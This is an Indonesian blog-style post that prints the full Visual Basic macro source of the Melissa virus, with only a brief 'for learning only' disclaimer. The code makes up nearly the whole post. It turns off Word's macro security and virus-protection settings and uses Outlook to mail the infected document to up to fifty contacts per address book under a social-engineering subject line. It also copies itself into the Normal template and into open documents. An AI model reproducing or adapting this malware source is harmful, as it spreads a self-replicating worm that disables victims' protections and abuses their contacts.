Kode Script virus Melissa

Ini dia kode script virus Melissa, virus  yang pernah ngetrend beberapa tahun yang lalu, sekarang seh udah kalah pamor ama conficker.. hihihi..

O ya, virus ini dibuat menggunakan Visual Basic Script. Ini dia kodenya, tap ini cuma buat pembelajaran aja, buat yang laen-laennya gue gak nanggung..

Private Sub AutoOpen() 

On Error Resume Next 

  p$ = "clone" 

If System.PrivateProfileString("",     "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then 

  CommandBars("Macro").Controls("Security...").Enabled = False 

  System.PrivateProfileString("",   "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1& 

Else 

p$ = "clone" 

CommandBars("Tools").Controls("Macro").Enabled = False 

  Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):    Options.SaveNormalPrompt = (1 - 1) 

End If 

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice 

  Set UngaDasOutlook = CreateObject("Outlook.Application") 

  Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI") 

If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?")  <> "... by Kwyjibo" Then 

   If UngaDasOutlook = "Outlook" Then 

      DasMapiName.Logon "profile", "password"

For y = 1 To DasMapiName.AddressLists.Count 

   Set AddyBook = DasMapiName.AddressLists(y) 

    x = 1 

   Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) 

For oo = 1 To AddyBook.AddressEntries.Count 

    Peep = AddyBook.AddressEntries(x) 

    BreakUmOffASlice.Recipients.Add Peep 

  x = x + 1 

If x > 50 Then oo = AddyBook.AddressEntries.Count 

Next oo 

    BreakUmOffASlice.Subject = "Important Message From " & Application.UserName 

  BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else  " 

   BreakUmOffASlice.Attachments.Add ActiveDocument.FullName 

  BreakUmOffASlice.Send 

 Peep = "" 

Next y 

DasMapiName.Logoff 

End If 

p$ = "clone" 

System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo" 

End If 

  Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1) 

  Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1) 

    NTCL = NTI1.CodeModule.CountOfLines 

    ADCL = ADI1.CodeModule.CountOfLines 

  BGN = 2 

If ADI1.Name <> "Melissa" Then 

  If ADCL > 0 Then _ 

   ADI1.CodeModule.DeleteLines 1, ADCL 

  Set ToInfect = ADI1 

   ADI1.Name = "Melissa" 

  DoAD = True 

End If

If NTI1.Name <> "Melissa" Then 

  If NTCL > 0 Then _ 

   NTI1.CodeModule.DeleteLines 1, NTCL 

   Set ToInfect = NTI1 

  NTI1.Name = "Melissa" 

  DoNT = True 

End If

If DoNT <> True And DoAD <> True Then GoTo CYA 

  If DoNT = True Then 

  Do While ADI1.CodeModule.Lines(1, 1) = "" 

    ADI1.CodeModule.DeleteLines 1 

 Loop 

   ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()") 

 Do While ADI1.CodeModule.Lines(BGN, 1) <> "" 

  ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) 

  BGN = BGN + 1 

 Loop 

End If 

p$ = "clone" 

  If DoAD = True Then 

    Do While NTI1.CodeModule.Lines(1, 1) = "" 

     NTI1.CodeModule.DeleteLines 1 

    Loop 

ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()") 

Do While NTI1.CodeModule.Lines(BGN, 1) <> "" 

  ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1) 

  BGN = BGN + 1 

Loop

End If 

CYA: 

If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then 

  ActiveDocument.SaveAs FileName:=ActiveDocument.FullName 

   ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then 

    ActiveDocument.Saved = True: End If 

'WORD/Melissa written by Kwyjibo 

'Clone written by Duke/SMF 

'Works in both Word 2000 and Word 97 

'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! 

'Word -> Email | Word 97 <--> Word 2000 ... it's a new age! 

If Day(Now) = Minute(Now) Then Selection.TypeText "Twenty-two points, plus triple-word-score,    plus fifty points for using all my letters. Game's over. I'm outta here." 

End Sub